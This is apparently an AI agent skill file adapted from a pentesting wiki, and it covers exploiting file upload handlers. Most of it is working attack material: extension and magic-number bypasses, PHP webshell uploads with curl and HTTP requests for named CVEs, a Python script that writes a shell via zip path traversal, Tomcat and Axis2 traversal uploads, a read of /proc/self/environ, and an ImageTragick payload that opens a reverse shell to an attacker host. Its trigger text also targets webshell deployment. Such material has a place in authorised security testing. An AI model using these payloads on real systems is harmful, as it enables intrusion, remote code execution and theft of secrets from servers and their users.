Hacktricks-skills file-upload-pentest

Test file upload vulnerabilities and bypass protections. Use this skill whenever the user needs to assess file upload security, test extension bypasses, create polyglot files, or exploit upload handlers. Trigger on requests about file upload testing, webshell deployment, extension bypass, magic number bypass, or any upload-related security assessment.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/file-upload/file-upload/SKILL.MD
source content

File Upload Pentesting

A comprehensive skill for testing file upload vulnerabilities and bypassing server-side protections.

Quick Start

  1. Identify the upload endpoint and test with a basic malicious file
  2. Check extension restrictions and try bypass techniques
  3. Test content-type and magic number validation
  4. Try server-specific exploits (Jetty, uWSGI, Tomcat, etc.)
  5. Use bundled scripts for payload generation

Extension Bypass Techniques

Basic Extension Tricks

Test these variations systematically:

  1. Case variations:
    .pHp
    ,
    .pHP5
    ,
    .PhAr
    ,
    .PHTML
  2. Double extensions:
    file.png.php
    ,
    file.jpg.Php5
  3. Special characters:
    • file.php%20
      (space)
    • file.php%0a
      (newline)
    • file.php%00
      (null byte)
    • file.php%0d%0a
      (CRLF)
    • file.php/
      (trailing slash)
    • file.php..
      (double dot)
  4. Extension order tricks:
    • file.php.png
      (Apache misconfiguration)
    • file.png.jpg.php
      (multiple layers)
  5. Comment tricks:
    file.php#.png
    ,
    file.php%00.png

Server-Specific Extensions

PHP (test all variants):

  • .php
    ,
    .php2
    ,
    .php3
    ,
    .php4
    ,
    .php5
    ,
    .php6
    ,
    .php7
  • .pht
    ,
    .phtm
    ,
    .phtml
    ,
    .pgif
    ,
    .shtml
    ,
    .htaccess
  • .phar
    ,
    .inc
    ,
    .hphp
    ,
    .ctp
    ,
    .module

ASP/ASPX:

  • .asp
    ,
    .aspx
    ,
    .config
    ,
    .ashx
    ,
    .asmx
    ,
    .cshtml
    ,
    .vbhtml

JSP:

  • .jsp
    ,
    .jspx
    ,
    .jsw
    ,
    .jsv
    ,
    .jspf
    ,
    .do
    ,
    .action

Other:

  • .cfm
    ,
    .cfml
    (ColdFusion)
  • .swf
    (Flash)
  • .pl
    ,
    .cgi
    (Perl)
  • .yaws
    (Erlang)

NTFS Alternate Data Streams (Windows)

file.asax:.jpg
file.asp::$data.

Creates an empty file with the forbidden extension that can be edited later.

Filename Length Truncation

Linux max filename: 255 bytes. Some tools (wget) truncate to 236.

# Create a filename that truncates to .php
python3 -c 'print("A" * 232 + ".php.gif")'

Upload this - the server may truncate to

.php
.

Content-Type and Magic Number Bypass

Content-Type Header Tricks

Set these values to bypass checks:

  • image/png
  • image/jpeg
  • text/plain
  • application/octet-stream

Magic Number Injection

Add valid image headers to malicious files:

PNG header:

\x89PNG\r\n\x1a\n

JPEG header:

\xff\xd8\xff

Use the

create-polyglot.sh
script to generate these automatically.

Surviving Image Processing

If the server resizes/compresses images, use these techniques:

  1. PLTE chunk - survives PHP-GD compression
  2. IDAT chunk - survives imagecopyresized/resampled
  3. tEXt chunk - survives thumbnailImage

See

references/persistent-payloads.md
for implementation details.

CVE-Specific Exploits

UniSharp Laravel Filemanager (CVE-2024-21546)

Affected: Versions before 2.9.1

Bypass: Trailing dot in filename

# Upload shell.php. (with trailing dot)
# Server strips the dot, saves as shell.php

# PoC request:
POST /profile/avatar
Content-Type: multipart/form-data

filename="shell.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>

Access:

/storage/files/shell.php?cmd=id

Gibbon LMS (CVE-2023-45878)

Endpoint:

/modules/Rubrics/rubrics_visualise_saveAjax.php

Method: POST with base64-encoded payload

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
  -d 'img=image/png;test,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Jetty XML RCE

Upload XML to

$JETTY_BASE/webapps/
- automatically processed.

uWSGI Configuration RCE

If you can write to

.ini
files:

[uwsgi]
body = @(exec://whoami)

Payload executes during config parsing (requires restart or auto-reload).

ZIP/Tar Exploitation

Path Traversal in Archives

#!/usr/bin/env python3
import zipfile
from io import BytesIO

def create_malicious_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>')
    z.close()
    with open('poc.zip', 'wb') as out:
        out.write(f.getvalue())

Symlink in Archive

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

NUL-Byte Smuggling (PHP ZipArchive)

  1. Create
    shell.php..pdf
    (valid PDF with embedded PHP)
  2. Zip it
  3. Hex-edit filename to
    shell.php\x00.pdf
  4. ZipArchive sees
    .pdf
    , filesystem writes
    .php

Use

create-null-zip.sh
script for automation.

Stacked ZIPs

cat benign.zip evil.zip > combined.zip

Different parsers may read different archives.

Server-Specific Exploits

Tomcat GZIP Upload

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp
Content-Type: application/octet-stream
Content-Encoding: gzip

<gzip-compressed-jsp-payload>

Axis2 SOAP Upload

<soapenv:Envelope>
  <soapenv:Body>
    <uploadFile>
      <archiveName>shell.jsp</archiveName>
      <jobDirectory>/../../../../opt/tomcat/webapps/</jobDirectory>
      <dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgPz4=</dataHandler>
    </uploadFile>
  </soapenv:Body>
</soapenv:Envelope>

Windows NTFS Junctions

rmdir C:\Windows\Tasks\Uploads\<id>
mklink /J C:\Windows\Tasks\Uploads\<id> C:\xampp\htdocs

Redirects uploads to webroot.

ImageTragick Exploit

Upload this content with image extension:

push graphic-context
viewbox 0 0 640 480
fill 'url("https://attacker.com/test.jpg"|bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1)'
pop graphic-context

Content-Type Confusion

Some handlers trust parsed JSON over actual multipart:

{
  "files": {
    "document": {
      "filepath": "/proc/self/environ",
      "mimetype": "image/png",
      "originalFilename": "x.png"
    }
  }
}

Testing Checklist

  • Test all extension variations (case, double, special chars)
  • Try content-type header manipulation
  • Add magic bytes to malicious files
  • Test filename length truncation
  • Try ZIP path traversal
  • Check for server-specific vulnerabilities
  • Test NTFS tricks on Windows
  • Try polyglot files
  • Check for ImageTragick
  • Test Content-Type confusion

Bundled Scripts

  • scripts/create-polyglot.sh
    - Generate polyglot files with magic headers
  • scripts/create-null-zip.sh
    - Create NUL-byte smuggled ZIPs
  • scripts/generate-payloads.sh
    - Generate common webshell payloads
  • scripts/test-extensions.sh
    - Test extension bypasses systematically

References